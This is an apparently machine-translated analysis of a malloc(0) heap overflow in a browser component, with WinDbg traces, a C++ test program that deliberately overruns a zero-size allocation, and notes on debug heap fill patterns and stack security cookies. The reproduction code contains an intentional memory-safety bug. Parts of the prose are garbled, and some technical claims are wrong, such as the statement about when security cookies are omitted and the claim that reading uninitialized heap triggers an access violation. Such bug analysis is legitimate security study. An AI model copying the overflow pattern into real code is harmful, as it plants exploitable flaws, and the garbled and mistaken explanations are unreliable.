#! bash 0:000> t eax=00000000 ebx=28a80020 ecx=4b8aa8e3 edx=0038cfac esi=001b7278 edi=001b7278 eip=6c3e755f esp=0038c208 ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x755f: 6c3e755f ff15c4f4666c call dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64 (6c66f4c4)] ds:002b:6c66f4c4={MSVCR100! strncpy (6d0e2ad0)}Copy the code

We can see that it’s actually strncpy, so we know what it’s calling.

Let’s p out:

#! bash 0:000> p eax=28a80020 ebx=28a80020 ecx=00000000 edx=00414141 esi=001b7278 edi=001b7278 eip=6c3e7565 esp=0038c208 ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x7565: 6c3e7565 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:0038dfac=4bb27741Copy the code

See what’s on the return value:

#! bash 0:000> dd eax 28a80020 656c6966 2f2f2f3a 552f3a45 73726573 28a80030 616c422f 53547473 7365442f 706f746b 28a80040 4141412f 41414141 41414141 41414141 28a80050 41414141 41414141 41414141 41414141 28a80060 41414141 41414141 41414141 41414141 28a80070 41414141 41414141 41414141 41414141 28a80080 41414141 41414141 41414141 41414141 28a80090 41414141 41414141 41414141 41414141Copy the code

It was copied in.

0 x04 test


Test environment:

1&2, VS2010, Debug+Release, see what happens to malloc(0) in this article. GCC, Debug+Release to check malloc(0). The so-called correct practice is the sole criterion for testing truth, and we shall see what problems arise. Note: The following are all started directly from the debugger, and the heap is debugger friendly.Copy the code

0x04a Intuitive compile and run

VC2010 Debug + malloc (0)



A non-null heap is returned.



Damage.

VC2010 Release + malloc (0)



Similar situation

HEAP[testMalloc.exe]: Heap block at 005455B8 Modified at 005455C1 past requested size of 1 Windows has triggered a breakpoint in testmalloc.exe.

The cause could be memory corruption, which indicates a Bug in testmalloc.exe or any DLL it loads.

It could also be that the user pressed F12 while testmalloc.exe was in focus.

The output window may provide more diagnostic information. The program “[4256] testmalloc.exe: Native” has exited and returns 0 (0x0).

GCC Debug+malloc (0)



A non-null but releasable heap was allocated.



Information about the heap was overwritten successfully



The same collapse

GCC Release+malloc (0)



Similar situation

Sure enough, in all four cases, the VS and G++ compilers return malloc(0) not NULL, but a live heap, and if you touch it, it will cost you money.

0x04B What exactly happened?

Malloc (0) = malloc(0) = VC2010+Relase+malloc(0) = VC2010+Relase+malloc(0) = 32 bits

0x04B. 1 Compile the source program

Let’s simulate some of the preparations before creating the little window:

#! CPP // testmalloc. CPP: Defines the entry point for the console application. // #include "stdafx.h" #include <stdlib.h> #include <string> #include <windows.h> #define URL_LENGTH 26 int _tmain(int argc, _TCHAR* argv[]) { TCHAR * test = (TCHAR *)malloc(0); // Unfortunately, the argument here is 0 memset(test, 0x11, URL_LENGTH); / / in order to convenient view, I have changed to 0 x11 TCHAR url [27] = _T (" ABCDEFGHIJKLMNOPQRSTUVWXYZ "); Int I = WideCharToMultiByte(CP_ACP, 0, url, -1, NULL, 0, 0,FALSE); char * szTmp = new char[i]; WideCharToMultiByte(CP_ACP, 0, url, -1, szTmp, i, 0, FALSE); memcpy(test, szTmp, i); // Copy to our heap free(test); return 0; }Copy the code

0x04B. 2 Loading winDBG:

Breakpoint at wmain, l-t, malloc with p, and view information about the heap currently allocated:



You can see the current heap data as follows, which uses the heap fill mode abababe8 abababab, which looks like the fill mode at the end of an allocated heap space (why?). Because if bytes are allocated, the heap fills the space that may be used in the future with the fill pattern baadF00D, and the ababABe8 blablabla is something like the end of the fill pattern, or more like the stop symbol “” of an ANSI string) :



Here’s what it looks like when we fill in 26 characters after memset:

What is this equivalent to? This is equivalent to writing to a heap outside of the user-accessible area of the heap, so that the data has already exceeded the size of the heap, so that it becomes a live heap overflow, and then the program will free it, which is bound to add to the error.

0x04B.3 Prove our idea

Let’s change the code a little bit, let’s change malloc(0) to malloc(27), reload.

This time, we see a new fill mode, BaadF00D, which is the fill mode for the available but uninitialized heap space we mentioned earlier.

After doing so, the program exits normally.

0x04c Several small nouns

Debugging friendly

When under the debugger to start the process of all new heap heap manager will change requests, and create a flag, is used to enable “friendly” debug heap, it will apply to all heap memory, including the default process heap, the heap is the biggest difference with the original pile block included the additional “fill mode” area, This is the area after the user-accessible portion through which the heap manager validates the integrity of the heap. If the fill mode is changed, the heap manager immediately breaks into the debugger.

Fill mode

Heap manager automatically when allocating the heap using a filling mode to initialize a piece of memory, and the content of the fill mode depends on the state of lumps, as of the original is returned to the caller, heap manager will use filling mode to populate the lumps, users can access parts of in fill mode is the value contained in baadf00d, This indicates that the heap block was allocated successfully, but not initialized. If a program dereferences a heap block without initializing it, an access violation is raised; If the program initializes the heap correctly, the program continues to execute, and when the heap is released, the heap manager populates the portion of the heap accessible to the user again, using the value feeefeee. After these fill modes are set, the debugger tracks the access operations that occur on the heap after the release by detecting whether the value of the fill mode has been modified.

__alloca_probe

This function allocates space on the stack, continuously allocating memory on the stack each time over 0x1000 (if the remaining unallocated size is greater than 0x1000) (sub ECx,1000h; sub eax,1000h; test [ecx],eax; Test [ecx], eAX to check if the stack is running out of space (the stack size is fixed, so [ECX] will violate the access rule if the allocated address is not available), If you are overstretched, you will often report a “Stack Overrun” alarm (and see Stack Overflow).

Security cookie

When the application starts, the cookie (4-byte (dword), unsigned integer) of the program is computed (pseudo random number) and stored in the.data section of the loading module. At the beginning of the function this cookie is copied to the stack, right in front of the EBP and the return address (between the return address and the local variable).

[buffer][cookie][savedEBP][savedEIP]

At the end of the function, the program compares this cookie to the cookie stored in the.data section. If not, the stack is broken and the process must be terminated.

To minimize the performance impact of additional lines of code, the compiler stores cookies on the stack only when a function contains a string buffer or uses the _alloca function to allocate space on the stack. Also, cookies are not stored in the stack when the buffer is at least 5 bytes long.

In typical buffer overflow, the return address on the stack will be covered by the data, but before the return address be overwritten, cookies have been covered, thus caused the exploits of failure (but still can lead to denial of service), because at the end of the function of the program will find cookie has been destroyed, then the application will be ended.

BUCKET

Microsoft classifies crash types, an identifier generated and used by a series of nifty algorithms.

0 x05 repair


The official fix is fixed, but overall the code is too careless, my biggest advice is to check every return value, don’t bother…

0x06 References


Advanced Debugging for Windows by Mario Heweardt and Daniel Pravat

Bbs.pediy.com/archive/ind…

Msdn.microsoft.com/en-us/libra…